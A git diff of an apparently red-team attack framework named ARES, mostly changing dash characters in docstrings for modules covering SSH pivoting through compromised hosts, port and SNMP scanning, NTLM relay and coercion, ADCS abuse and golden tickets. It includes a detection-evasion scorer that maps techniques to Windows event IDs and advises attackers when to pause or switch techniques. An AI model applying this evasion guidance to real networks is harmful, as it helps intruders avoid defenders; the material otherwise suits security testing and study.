@@ -90,7 +90,7 @@ class HttpFingerprintModule(BaseModule):
MODULE_NAME = "HTTP Fingerprinting"
MODULE_CATEGORY = "network"
MODULE_DESCRIPTION = (
- "Fingerprint web servers and applications — detect server software, "
+ "Fingerprint web servers and applications - detect server software, "
"frameworks, CMS, admin interfaces, and exposed sensitive paths"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -112,7 +112,7 @@ class HttpFingerprintModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
@@ -235,7 +235,7 @@ class HttpFingerprintModule(BaseModule):
try:
import httpx
except ImportError:
- return [], {"error": "httpx not installed — run: pip install httpx"}
+ return [], {"error": "httpx not installed - run: pip install httpx"}
logger.info("http_fingerprint_start", target=target, ports=ports)
await self.noise.rate_limiter.acquire("network_scan")
diff --git a/ares/modules/network/pivot.py b/ares/modules/network/pivot.py
index 0b7aa7b..48b5c0d 100644
--- a/ares/modules/network/pivot.py
+++ b/ares/modules/network/pivot.py
@@ -1,23 +1,23 @@
"""
-SOCKS5 / SSH Tunnel Management — network.pivot
-MITRE: T1090.001 — Proxy: Internal Proxy
- T1021.004 — Remote Services: SSH
+SOCKS5 / SSH Tunnel Management - network.pivot
+MITRE: T1090.001 - Proxy: Internal Proxy
+ T1021.004 - Remote Services: SSH
Thin wrapper around ares/pivot/infrastructure.py (580 lines, fully implemented).
Creates and manages SSH SOCKS5 tunnels through compromised pivot hosts.
Once established, ALL subsequent ARES modules can reach internal network
-segments through the tunnel — transparent to the module.
+segments through the tunnel - transparent to the module.
PivotManager auto-routes: request to 10.0.0.x → tunnel with matching subnet.
Generates proxychains.conf automatically.
Tunnel types supported:
- SOCKS5 / SSH_DYNAMIC — SSH -D (most common)
- SSH_LOCAL_FWD — SSH -L for specific port forwards
- REVERSE_TCP — for outbound-only pivot hosts
+ SOCKS5 / SSH_DYNAMIC - SSH -D (most common)
+ SSH_LOCAL_FWD - SSH -L for specific port forwards
+ REVERSE_TCP - for outbound-only pivot hosts
-OPSEC: LOW — SSH dynamic port forward uses encrypted SSH protocol.
+OPSEC: LOW - SSH dynamic port forward uses encrypted SSH protocol.
Appears as normal SSH connection. No new tools on target.
"""
from __future__ import annotations
@@ -56,7 +56,7 @@ _PIVOT_MANAGERS: dict[str, "Any"] = {} # campaign_id → PivotManager
)
class PivotModule(BaseModule):
"""
- network.pivot — Create SOCKS5/SSH tunnels through compromised hosts. All subsequent modules route through tunnel automatically. Generates proxychains.conf. Supports chained pivots.
+ network.pivot - Create SOCKS5/SSH tunnels through compromised hosts. All subsequent modules route through tunnel automatically. Generates proxychains.conf. Supports chained pivots.
OPSEC: LOW
MITRE: "T1090.001", "T1021.004"
@@ -95,7 +95,7 @@ class PivotModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- "network.pivot requires 'target' — IP or hostname of the pivot host "
+ "network.pivot requires 'target' - IP or hostname of the pivot host "
"(a host where you have SSH access).",
module_id=self.MODULE_ID, field="target",
)
@@ -117,7 +117,7 @@ class PivotModule(BaseModule):
getattr(getattr(ctx, "vault", None), "_store", None)))
if not has_secret:
raise ModuleValidationError(
- "network.pivot requires SSH credentials — "
+ "network.pivot requires SSH credentials - "
"pass 'password', 'key_path', or provide a vault credential.",
module_id=self.MODULE_ID, field="password",
)
diff --git a/ares/modules/network/port_scan.py b/ares/modules/network/port_scan.py
index b4c9a46..b8874a6 100644
--- a/ares/modules/network/port_scan.py
+++ b/ares/modules/network/port_scan.py
@@ -1,8 +1,8 @@
"""
-Network Port Scanner — Production Implementation
+Network Port Scanner - Production Implementation
MITRE: T1046 (Network Service Discovery)
-TCP connect scan with asyncio — no raw sockets, no root required.
+TCP connect scan with asyncio - no raw sockets, no root required.
Respects NoiseController rate limits and opsec profile.
Results feed ServiceIntelEngine for automatic module recommendation.
@@ -274,7 +274,7 @@ async def _tcp_connect(host: str, port: int, timeout: float = 2.0) -> bool:
)
class PortScanModule(BaseModule):
"""
- network.port_scan — Async TCP connect scan — identifies open ports and maps them to services and recommended attack paths
+ network.port_scan - Async TCP connect scan - identifies open ports and maps them to services and recommended attack paths
OPSEC: MEDIUM
MITRE: "T1046"
@@ -284,7 +284,7 @@ class PortScanModule(BaseModule):
MODULE_NAME = "TCP Port Scanner"
MODULE_CATEGORY = "network"
MODULE_DESCRIPTION = (
- "Async TCP connect scan — identifies open ports and maps them to "
+ "Async TCP connect scan - identifies open ports and maps them to "
"services and recommended attack modules"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -305,7 +305,7 @@ class PortScanModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- "network.port_scan requires 'target' — IP or CIDR to scan.",
+ "network.port_scan requires 'target' - IP or CIDR to scan.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
diff --git a/ares/modules/network/service_detect.py b/ares/modules/network/service_detect.py
index 749a051..8397221 100644
--- a/ares/modules/network/service_detect.py
+++ b/ares/modules/network/service_detect.py
@@ -1,5 +1,5 @@
"""
-Network Service Detection — Banner Grabbing + Version Fingerprinting
+Network Service Detection - Banner Grabbing + Version Fingerprinting
MITRE: T1046, T1590.004
Connects to open ports, reads banner/response, identifies:
@@ -45,7 +45,7 @@ _PROBES: dict[str, bytes] = {
"generic": b"",
}
-# Version patterns — (service, pattern, severity, cve_hint)
+# Version patterns - (service, pattern, severity, cve_hint)
_VULN_PATTERNS: list[tuple[str, str, str, str]] = [
("openssh", r"OpenSSH[_\s]([0-9]\.[0-9])", "INFO", ""),
("vsftpd", r"vsftpd\s([0-9]\.[0-9]\.[0-9])", "MEDIUM", "CVE-2011-2523 if 2.3.4"),
@@ -107,7 +107,7 @@ async def _grab_banner(host: str, port: int, timeout: float = 4.0,
)
class ServiceDetectModule(BaseModule):
"""
- network.service_detect — Banner grabbing and version fingerprinting on open ports — identifies service versions and flags potentially vulnerable services
+ network.service_detect - Banner grabbing and version fingerprinting on open ports - identifies service versions and flags potentially vulnerable services
OPSEC: LOW
MITRE: "T1046", "T1590.004"
@@ -117,7 +117,7 @@ class ServiceDetectModule(BaseModule):
MODULE_NAME = "Service Detection"
MODULE_CATEGORY = "network"
MODULE_DESCRIPTION = (
- "Banner grabbing and version fingerprinting on open ports — "
+ "Banner grabbing and version fingerprinting on open ports - "
"identifies service versions and flags potentially vulnerable services"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -139,7 +139,7 @@ class ServiceDetectModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
diff --git a/ares/modules/network/snmp_enum.py b/ares/modules/network/snmp_enum.py
index 2493ac7..6637349 100644
--- a/ares/modules/network/snmp_enum.py
+++ b/ares/modules/network/snmp_enum.py
@@ -1,5 +1,5 @@
"""
-SNMP Enumeration — Community String Testing + OID Walk
+SNMP Enumeration - Community String Testing + OID Walk
MITRE: T1046, T1590
Tests common SNMP community strings (v1/v2c) and enumerates system information
@@ -9,13 +9,13 @@ via SNMP GET/WALK on standard OIDs:
hrStorageTable (disk info)
Flags:
- - Default community string "public" or "private" — HIGH severity
- - System info disclosure — MEDIUM
- - Network interface enumeration — INFO
+ - Default community string "public" or "private" - HIGH severity
+ - System info disclosure - MEDIUM
+ - Network interface enumeration - INFO
Requires: pip install ares-redteam[network] (adds pysnmp)
-OpSec: LOW — SNMP UDP is low-noise but creates log entries on managed devices.
+OpSec: LOW - SNMP UDP is low-noise but creates log entries on managed devices.
"""
from __future__ import annotations
@@ -78,7 +78,7 @@ def _snmp_get_sync(host: str, community: str, port: int,
ContextData, ObjectType, ObjectIdentity,
)
except ImportError:
- return {"_error": "pysnmp not installed — run: pip install pysnmp"}
+ return {"_error": "pysnmp not installed - run: pip install pysnmp"}
results: dict[str, str] = {}
engine = SnmpEngine()
@@ -146,7 +146,7 @@ def _snmp_walk_sync(host: str, community: str, port: int,
)
class SnmpEnumModule(BaseModule):
"""
- network.snmp_enum — Test common SNMP community strings and enumerate system info via OID walk — identifies default credentials, system details, interfaces, and running processes
+ network.snmp_enum - Test common SNMP community strings and enumerate system info via OID walk - identifies default credentials, system details, interfaces, and running processes
OPSEC: LOW
MITRE: "T1046", "T1590"
@@ -156,7 +156,7 @@ class SnmpEnumModule(BaseModule):
MODULE_NAME = "SNMP Enumeration"
MODULE_CATEGORY = "network"
MODULE_DESCRIPTION = (
- "Test common SNMP community strings and enumerate system info via OID walk — "
+ "Test common SNMP community strings and enumerate system info via OID walk - "
"identifies default credentials, system details, interfaces, and running processes"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -178,7 +178,7 @@ class SnmpEnumModule(BaseModule):
target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))
if not target:
raise ModuleValidationError(
- f"{self.MODULE_ID} requires 'target' — IP or hostname.",
+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
await super().validate(ctx)
@@ -315,7 +315,7 @@ class SnmpEnumModule(BaseModule):
)
if result.get("_error"):
- # pysnmp not installed — stop here
+ # pysnmp not installed - stop here
return [], {"error": result["_error"]}
if not result:
@@ -353,7 +353,7 @@ class SnmpEnumModule(BaseModule):
description=(
f"SNMP community string '{community}' is accepted by {target}. "
f"{'This is a DEFAULT community string.' if is_default else ''} "
- f"System: {result.get('sysName', 'unknown')} — "
+ f"System: {result.get('sysName', 'unknown')} - "
f"{result.get('sysDescr', '')[:150]}"
),
severity=sev,
@@ -378,7 +378,7 @@ class SnmpEnumModule(BaseModule):
)
# Don't spray all community strings if we found one
- # (stay low-noise — operator can re-run with specific communities if needed)
+ # (stay low-noise - operator can re-run with specific communities if needed)
break
# ── System info finding if sysLocation/sysContact found ───────────────
diff --git a/ares/modules/opsec/__init__.py b/ares/modules/opsec/__init__.py
index bda8def..e15a970 100644
--- a/ares/modules/opsec/__init__.py
+++ b/ares/modules/opsec/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.opsec
+ARES - modules.opsec
OPSEC and detection analysis modules.
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/opsec/coverage_predictor.py b/ares/modules/opsec/coverage_predictor.py
index ff9fdf6..8cab31e 100644
--- a/ares/modules/opsec/coverage_predictor.py
+++ b/ares/modules/opsec/coverage_predictor.py
@@ -1,5 +1,5 @@
"""
-opsec.coverage_predictor — Real-Time Detection Probability Scoring
+opsec.coverage_predictor - Real-Time Detection Probability Scoring
Analyzes all actions performed in a campaign and predicts how likely
the engagement has been detected, based on:
@@ -17,9 +17,9 @@ Output:
- Stealth improvement recommendations
MITRE: T1592 (Gather Victim Host Information - defensive analysis)
-OPSEC: LOCAL (no network calls — pure data analysis)
+OPSEC: LOCAL (no network calls - pure data analysis)
-Note: before_request() intentionally not called — this module performs
+Note: before_request() intentionally not called - this module performs
offline analysis of campaign data only. No network calls.
"""
from __future__ import annotations
@@ -52,57 +52,57 @@ logger = get_logger("ares.modules.opsec.coverage_predictor")
_TECHNIQUE_DETECTION_MAP: dict[str, list[tuple[str, str, float, str]]] = {
# Active Directory
- "T1558.003": [("Sysmon", "18", 0.75, "Kerberos TGS request — potential kerberoasting"),
- ("Security", "4769", 0.80, "Kerberos Service Ticket Operation — RC4 encryption flag")],
- "T1558.004": [("Security", "4768", 0.70, "Kerberos Auth Ticket request — potential ASREPRoasting")],
- "T1003.006": [("Security", "4662", 0.95, "DCSync — DS-Replication-Get-Changes-All permission used"),
+ "T1558.003": [("Sysmon", "18", 0.75, "Kerberos TGS request - potential kerberoasting"),
+ ("Security", "4769", 0.80, "Kerberos Service Ticket Operation - RC4 encryption flag")],
+ "T1558.004": [("Security", "4768", 0.70, "Kerberos Auth Ticket request - potential ASREPRoasting")],
+ "T1003.006": [("Security", "4662", 0.95, "DCSync - DS-Replication-Get-Changes-All permission used"),
("Security", "4929", 0.90, "AD replica source naming context removed")],
- "T1649": [("Security", "4886", 0.60, "Certificate request — potential ADCS abuse"),
- ("Security", "4887", 0.65, "Certificate issued — track enrollment patterns")],
- "T1187": [("Security", "4624", 0.50, "Network logon — NTLM coercion incoming auth"),
- ("Sysmon", "3", 0.40, "Network connection — SMB to attacker IP")],
- "T1552.004": [("Security", "4661", 0.55, "SAM handle request — LAPS read attempt")],
+ "T1649": [("Security", "4886", 0.60, "Certificate request - potential ADCS abuse"),
+ ("Security", "4887", 0.65, "Certificate issued - track enrollment patterns")],
+ "T1187": [("Security", "4624", 0.50, "Network logon - NTLM coercion incoming auth"),
+ ("Sysmon", "3", 0.40, "Network connection - SMB to attacker IP")],
+ "T1552.004": [("Security", "4661", 0.55, "SAM handle request - LAPS read attempt")],
# Credential
- "T1003.001": [("Sysmon", "10", 0.99, "LSASS process access — lsass_dump"),
+ "T1003.001": [("Sysmon", "10", 0.99, "LSASS process access - lsass_dump"),
("Security", "4656", 0.90, "LSASS handle request with PROCESS_VM_READ"),
("Defender", "ASR", 0.95, "Attack Surface Reduction rule: Block credential stealing from LSASS")],
- "T1003.002": [("Security", "4657", 0.80, "Registry value modification — SAM hive access"),
- ("Sysmon", "13", 0.75, "Registry value set — LSA secrets read")],
- "T1555.004": [("Sysmon", "11", 0.50, "File creation — DPAPI blob decryption temp file"),
- ("Security", "4663", 0.55, "File access — Chrome Login Data")],
- "T1110.003": [("Security", "4625", 0.85, "Account failed logon — potential spray pattern"),
- ("Security", "4771", 0.80, "Kerberos pre-auth failed — spray via Kerberos")],
- "T1550.002": [("Security", "4624", 0.70, "Network logon type 3 — PTH pattern (no Kerberos TGT)"),
- ("Security", "4648", 0.75, "Explicit credential logon — PTH indicator")],
+ "T1003.002": [("Security", "4657", 0.80, "Registry value modification - SAM hive access"),
+ ("Sysmon", "13", 0.75, "Registry value set - LSA secrets read")],
+ "T1555.004": [("Sysmon", "11", 0.50, "File creation - DPAPI blob decryption temp file"),
+ ("Security", "4663", 0.55, "File access - Chrome Login Data")],
+ "T1110.003": [("Security", "4625", 0.85, "Account failed logon - potential spray pattern"),
+ ("Security", "4771", 0.80, "Kerberos pre-auth failed - spray via Kerberos")],
+ "T1550.002": [("Security", "4624", 0.70, "Network logon type 3 - PTH pattern (no Kerberos TGT)"),
+ ("Security", "4648", 0.75, "Explicit credential logon - PTH indicator")],
# Lateral Movement
- "T1569.002": [("System", "7045", 0.90, "New service installed — PsExec service"),
- ("Sysmon", "1", 0.85, "Process creation — PSEXESVC.exe"),
+ "T1569.002": [("System", "7045", 0.90, "New service installed - PsExec service"),
+ ("Sysmon", "1", 0.85, "Process creation - PSEXESVC.exe"),
("Security","4697", 0.90, "Service installed in system")],
"T1047": [("Sysmon", "20", 0.80, "WMI remote activity"),
- ("Security","4688", 0.60, "Process creation — WMI provider host")],
- "T1021.006": [("Security","4624", 0.55, "Network logon — WinRM (port 5985/5986)"),
+ ("Security","4688", 0.60, "Process creation - WMI provider host")],
+ "T1021.006": [("Security","4624", 0.55, "Network logon - WinRM (port 5985/5986)"),
("Microsoft-Windows-WinRM", "91", 0.60, "WSMan session created")],
- "T1021.001": [("Security","4624", 0.60, "Interactive/RemoteInteractive logon — RDP"),
- ("Security","4778", 0.65, "Session reconnected to Window Station — RDP")],
- "T1505.001": [("SQLServer","18456",0.70, "MSSQL login failed — potential brute/spray"),
- ("SQLServer","15457",0.85, "xp_cmdshell enabled — high-confidence IOC")],
- "T1021.003": [("Sysmon", "3", 0.65, "DCOM network connection — WBEM/MMC"),
- ("Security","4648", 0.55, "Explicit credential use — DCOM auth")],
+ "T1021.001": [("Security","4624", 0.60, "Interactive/RemoteInteractive logon - RDP"),
+ ("Security","4778", 0.65, "Session reconnected to Window Station - RDP")],
+ "T1505.001": [("SQLServer","18456",0.70, "MSSQL login failed - potential brute/spray"),
+ ("SQLServer","15457",0.85, "xp_cmdshell enabled - high-confidence IOC")],
+ "T1021.003": [("Sysmon", "3", 0.65, "DCOM network connection - WBEM/MMC"),
+ ("Security","4648", 0.55, "Explicit credential use - DCOM auth")],
# Persistence
"T1053.005": [("Security", "4698", 0.85, "Scheduled task created"),
- ("Sysmon", "1", 0.80, "Process creation — schtasks.exe")],
+ ("Sysmon", "1", 0.80, "Process creation - schtasks.exe")],
"T1546.003": [("WMI", "5860", 0.90, "WMI permanent subscription created"),
("Sysmon", "19", 0.95, "WMI event filter activity")],
"T1547.001": [("Sysmon", "13", 0.70, "Registry run key modification"),
- ("Security","4657", 0.65, "Registry value set — HKCU/Run")],
+ ("Security","4657", 0.65, "Registry value set - HKCU/Run")],
# Exfil
- "T1039": [("Sysmon", "11", 0.40, "File creation — SMB share staging"),
- ("Security","5140", 0.55, "Network share access — enumeration pattern")],
- "T1552": [("Sysmon", "1", 0.50, "Process creation — grep/findstr on credential files")],
+ "T1039": [("Sysmon", "11", 0.40, "File creation - SMB share staging"),
+ ("Security","5140", 0.55, "Network share access - enumeration pattern")],
+ "T1552": [("Sysmon", "1", 0.50, "Process creation - grep/findstr on credential files")],
# Cloud
"T1528": [("AzureAD","Sign-in",0.60,"Azure AD OAuth token theft attempt")],
@@ -111,11 +111,11 @@ _TECHNIQUE_DETECTION_MAP: dict[str, list[tuple[str, str, float, str]]] = {
# Detection probability modifier by OPSEC level
_OPSEC_MODIFIERS = {
- "local": 0.05, # LOCAL — no network, very low detection risk
- "silent": 0.10, # SILENT — highly obfuscated
- "low": 0.25, # LOW — passive enumeration
- "medium": 0.55, # MEDIUM — active but targeted
- "high_noise": 0.90, # HIGH_NOISE — loud, likely detected
+ "local": 0.05, # LOCAL - no network, very low detection risk
+ "silent": 0.10, # SILENT - highly obfuscated
+ "low": 0.25, # LOW - passive enumeration
+ "medium": 0.55, # MEDIUM - active but targeted
+ "high_noise": 0.90, # HIGH_NOISE - loud, likely detected
"stealth": 0.15, # STEALTH profile modifier
"normal": 0.55,
"aggressive": 0.85,
@@ -123,12 +123,12 @@ _OPSEC_MODIFIERS = {
# Wait-time recommendations based on score (hours)
_WAIT_RECOMMENDATIONS = [
- (0.0, 0.20, 0, "Continue — detection risk minimal"),
- (0.20, 0.40, 2, "Low risk — optional 2hr pause before next lateral move"),
- (0.40, 0.60, 12, "Moderate risk — recommended 12hr pause, switch technique"),
- (0.60, 0.75, 24, "High risk — 24hr pause, consider abandoning noisy artifacts"),
- (0.75, 0.90, 72, "Very high risk — 72hr pause or fresh compromise recommended"),
- (0.90, 1.01, 168, "Critical — assume detected. Full OPSEC reset required (7 days)"),
+ (0.0, 0.20, 0, "Continue - detection risk minimal"),
+ (0.20, 0.40, 2, "Low risk - optional 2hr pause before next lateral move"),
+ (0.40, 0.60, 12, "Moderate risk - recommended 12hr pause, switch technique"),
+ (0.60, 0.75, 24, "High risk - 24hr pause, consider abandoning noisy artifacts"),
+ (0.75, 0.90, 72, "Very high risk - 72hr pause or fresh compromise recommended"),
+ (0.90, 1.01, 168, "Critical - assume detected. Full OPSEC reset required (7 days)"),
]
@@ -221,17 +221,17 @@ def _compute_soc_activity_factor(
recommendation = ""
if base_factor > 0.7:
recommendation = (
- f"HIGH SOC ACTIVITY ({base_factor:.0%}) — defer high-noise actions. "
+ f"HIGH SOC ACTIVITY ({base_factor:.0%}) - defer high-noise actions. "
f"Optimal window: {best_window} local time."
)
elif base_factor > 0.4:
recommendation = (
- f"MODERATE SOC ACTIVITY ({base_factor:.0%}) — use stealth techniques only. "
+ f"MODERATE SOC ACTIVITY ({base_factor:.0%}) - use stealth techniques only. "
f"Better window in {max(0, shift_end - local_hour)}h."
)
else:
recommendation = (
- f"LOW SOC ACTIVITY ({base_factor:.0%}) — execute now. "
+ f"LOW SOC ACTIVITY ({base_factor:.0%}) - execute now. "
f"Optimal window: {best_window} local time."
)
@@ -310,21 +310,21 @@ _SIEM_CORRELATION_RULES: list[SIEMCorrelationRule] = [
),
SIEMCorrelationRule(
name="WMI Persistence via Event Subscription",
- description="WMI event filter and consumer created — common persistence IOC",
+ description="WMI event filter and consumer created - common persistence IOC",
triggers=["T1546.003"],
within_minutes=5, threshold=1, severity="high",
common_in=["Splunk", "Sentinel", "Elastic", "Sysmon"],
),
SIEMCorrelationRule(
name="Pass-the-Hash Network Logon Pattern",
- description="Network logon (type 3) without Kerberos TGT — PTH indicator",
+ description="Network logon (type 3) without Kerberos TGT - PTH indicator",
triggers=["T1550.002"],
within_minutes=10, threshold=1, severity="high",
common_in=["Splunk", "Sentinel", "Microsoft Defender XDR"],
),
SIEMCorrelationRule(
name="LSASS Memory Access",
- description="Process accessing LSASS memory with PROCESS_VM_READ — credential theft",
+ description="Process accessing LSASS memory with PROCESS_VM_READ - credential theft",
triggers=["T1003.001"],
within_minutes=1, threshold=1, severity="critical",
common_in=["CrowdStrike", "SentinelOne", "Defender ATP", "Sentinel"],
@@ -393,7 +393,7 @@ def _apply_dwell_time_decay(
Logic: if EDR hasn't caught us after N days, signatures may not match.
Decay schedule:
- < 1 day: 0% reduction (fresh compromise — full risk)
+ < 1 day: 0% reduction (fresh compromise - full risk)
1-3 days: 10% reduction
3-7 days: 20% reduction
1-2 weeks: 35% reduction
@@ -444,7 +444,7 @@ class CoveragePrediction:
class CoveragePredictor:
"""
- Offline scoring engine — no network calls.
+ Offline scoring engine - no network calls.
Reads campaign findings and audit data to compute detection probability.
"""
@@ -495,8 +495,8 @@ class CoveragePredictor:
timestamp=ts,
))
- # Compute overall score — weighted by highest individual risks
- # Apply dwell time decay — longer undetected = lower score
+ # Compute overall score - weighted by highest individual risks
+ # Apply dwell time decay - longer undetected = lower score
campaign_start = kwargs.get("campaign_start_time")
if campaign_start is None:
campaign_obj = kwargs.get("campaign")
@@ -531,7 +531,7 @@ class CoveragePredictor:
# Wait time recommendation
wait_hours = 0
- wait_reason = "Continue — detection risk minimal"
+ wait_reason = "Continue - detection risk minimal"
for lo, hi, hours, reason in _WAIT_RECOMMENDATIONS:
if lo <= overall < hi:
wait_hours = hours
@@ -613,12 +613,12 @@ class CoveragePredictor:
# LSASS-specific
if any("LSASS" in r.description for r in risks):
- recs.append("LSASS access detected — CrowdStrike/Defender ATP almost certainly alerted. "
+ recs.append("LSASS access detected - CrowdStrike/Defender ATP almost certainly alerted. "
"Use DPAPI or LAPS enumeration as credential alternatives.")
# DCSync-specific
if any("DCSync" in r.description for r in risks):
- recs.append("DCSync detected — high-confidence SIEM alert expected. "
+ recs.append("DCSync detected - high-confidence SIEM alert expected. "
"Verify krbtgt rotation has not occurred before using harvested hashes.")
if not recs:
@@ -654,10 +654,10 @@ class CoveragePredictor:
)
class CoveragePredictorModule(BaseModule):
"""
- opsec.coverage_predictor — Real-time detection probability scoring
+ opsec.coverage_predictor - Real-time detection probability scoring
- OPSEC: LOCAL (offline analysis — no network calls)
- MITRE: T1592 (informational — analyzes existing campaign data)
+ OPSEC: LOCAL (offline analysis - no network calls)
+ MITRE: T1592 (informational - analyzes existing campaign data)
REQUIRES: active_campaign
OUTPUTS: detection_score, action_risks, wait_recommendation
"""
@@ -782,7 +782,7 @@ class CoveragePredictorModule(BaseModule):
noise_profile: str = "normal",
**kwargs: Any,
) -> tuple[list, dict]:
- # Note: before_request() intentionally not called — LOCAL module, no network.
+ # Note: before_request() intentionally not called - LOCAL module, no network.
loop = asyncio.get_running_loop()
prediction = await loop.run_in_executor(
@@ -815,7 +815,7 @@ class CoveragePredictorModule(BaseModule):
if prediction.overall_score > 0.05:
self.finding(
- title=f"Detection Probability: {score_pct}% — {prediction.wait_reason}",
+ title=f"Detection Probability: {score_pct}% - {prediction.wait_reason}",
description=(
f"Based on {prediction.modules_analyzed} modules executed and "
f"{len(prediction.techniques_triggered)} MITRE techniques triggered, "
@@ -882,7 +882,7 @@ class CoveragePredictorModule(BaseModule):
"""
from ares.technique.library import _MODULE_TECHNIQUE_MAP
- # HIGH_NOISE modules — verified against OPSEC_LEVEL in module definitions
+ # HIGH_NOISE modules - verified against OPSEC_LEVEL in module definitions
# lateral.wmiexec removed (MEDIUM, not HIGH_NOISE)
# ad.coerce + windows.lsa_secrets added (confirmed HIGH_NOISE)
_KNOWN_HIGH_NOISE = {
@@ -925,8 +925,8 @@ class CoveragePredictorModule(BaseModule):
"warnings": warnings,
"module_breakdown": sorted(breakdowns, key=lambda x: -x["contribution"]),
"recommendation": (
- "SAFE — proceed" if safe else
- f"DANGEROUS — this plan will raise detection to {projected:.0%}. "
+ "SAFE - proceed" if safe else
+ f"DANGEROUS - this plan will raise detection to {projected:.0%}. "
"Revise to stealthier techniques."
),
}
@@ -959,7 +959,7 @@ class CoveragePredictorModule(BaseModule):
modules_run.append({
"module_id": mid,
"mitre_techniques": techniques,
- "opsec_level": "medium", # default — refined below
+ "opsec_level": "medium", # default - refined below
"timestamp": time.monotonic(),
})
diff --git a/ares/modules/params.py b/ares/modules/params.py
index eb71d4c..1a7e08d 100644
--- a/ares/modules/params.py
+++ b/ares/modules/params.py
@@ -1,5 +1,5 @@
"""
-ARES Module Parameter Validation — Pydantic-based
+ARES Module Parameter Validation - Pydantic-based
Replaces the weak dict-based PARAM_SCHEMA with a proper Pydantic model
that enforces types, lengths, patterns, and secret handling.
@@ -315,7 +315,7 @@ class LinuxPrivescParams(ModuleParams):
class ADCSParams(DomainAuthParams):
- """ad.adcs — ADCS ESC1-ESC8 enumeration and exploitation."""
+ """ad.adcs - ADCS ESC1-ESC8 enumeration and exploitation."""
exploit_esc1: bool = param(
"Attempt ESC1 certificate request if vulnerable",
@@ -331,7 +331,7 @@ class ADCSParams(DomainAuthParams):
class GhostForgeParams(DomainAuthParams):
- """ad.ghost_forge — Autonomous ADCS Cryptographic Identity & Kerberos PKINIT Takeover."""
+ """ad.ghost_forge - Autonomous ADCS Cryptographic Identity & Kerberos PKINIT Takeover."""
ca_server: str = param(
"Certificate Authority (CA) server hostname or IP",
@@ -385,7 +385,7 @@ class GhostForgeParams(DomainAuthParams):
class CoerceParams(DomainAuthParams):
- """ad.coerce — PetitPotam/PrinterBug/DFSCoerce NTLM coercion."""
+ """ad.coerce - PetitPotam/PrinterBug/DFSCoerce NTLM coercion."""
listener_ip: str = param(
"Attacker IP to receive NTLM auth", min_length=7, max_length=45
@@ -399,7 +399,7 @@ class CoerceParams(DomainAuthParams):
class SCCMParams(DomainAuthParams):
- """ad.sccm — SCCM/MECM enumeration and credential extraction."""
+ """ad.sccm - SCCM/MECM enumeration and credential extraction."""
sccm_server: str = param(
"SCCM site server hostname (auto-discover if empty)",
@@ -416,7 +416,7 @@ class SCCMParams(DomainAuthParams):
class NTLMRelayParams(DomainAuthParams):
- """lateral.ntlm_relay — Full NTLM relay attack chain."""
+ """lateral.ntlm_relay - Full NTLM relay attack chain."""
targets: list[str] = param(
"Target hosts to check for relay (auto-discover if empty)",
@@ -444,7 +444,7 @@ class NTLMRelayParams(DomainAuthParams):
class DelegationAbuseParams(DomainAuthParams):
- """ad.delegation_abuse — Unconstrained/constrained/RBCD delegation abuse."""
+ """ad.delegation_abuse - Unconstrained/constrained/RBCD delegation abuse."""
mode: str = param(
"Mode: enumerate|unconstrained|constrained|rbcd",
@@ -473,7 +473,7 @@ class DelegationAbuseParams(DomainAuthParams):
class LAPSEnumParams(DomainAuthParams):
- """ad.laps_enum — LAPS v1/v2 password retrieval."""
+ """ad.laps_enum - LAPS v1/v2 password retrieval."""
computer_filter: str = param(
"LDAP filter for target computers", required=False, default="", max_length=512
@@ -484,7 +484,7 @@ class LAPSEnumParams(DomainAuthParams):
class AWSPrivescParams(ModuleParams):
- """cloud.aws_privesc — AWS IAM privilege escalation."""
+ """cloud.aws_privesc - AWS IAM privilege escalation."""
access_key: str | None = param(
"AWS Access Key ID", required=False, default=None, max_length=128
@@ -518,7 +518,7 @@ class AWSPrivescParams(ModuleParams):
class AzureParams(ModuleParams):
- """cloud.azure — Azure resource enumeration."""
+ """cloud.azure - Azure resource enumeration."""
subscription_id: str | None = param(
"Azure subscription ID", required=False, default=None
@@ -533,7 +533,7 @@ class AzureParams(ModuleParams):
class AzureADParams(ModuleParams):
- """cloud.azure_ad — Azure AD enumeration via Graph API."""
+ """cloud.azure_ad - Azure AD enumeration via Graph API."""
tenant_id: str | None = param("Azure tenant ID", required=False, default=None)
client_id: str | None = param("App client ID", required=False, default=None)
@@ -555,7 +555,7 @@ class AzureADParams(ModuleParams):
class GCPParams(ModuleParams):
- """cloud.gcp — GCP resource enumeration."""
+ """cloud.gcp - GCP resource enumeration."""
project_id: str | None = param(
"GCP project ID (lowercase letters, digits, hyphens)",
@@ -573,7 +573,7 @@ class GCPParams(ModuleParams):
class CredentialCrackParams(ModuleParams):
- """credential.crack — Offline hash cracking via hashcat/john."""
+ """credential.crack - Offline hash cracking via hashcat/john."""
hashcat_path: str = param(
"Path to hashcat binary", required=False, default="hashcat", max_length=512
@@ -587,7 +587,7 @@ class CredentialCrackParams(ModuleParams):
class GoldenTicketParams(ModuleParams):
- """credential.golden_ticket — Kerberos golden ticket forging."""
+ """credential.golden_ticket - Kerberos golden ticket forging."""
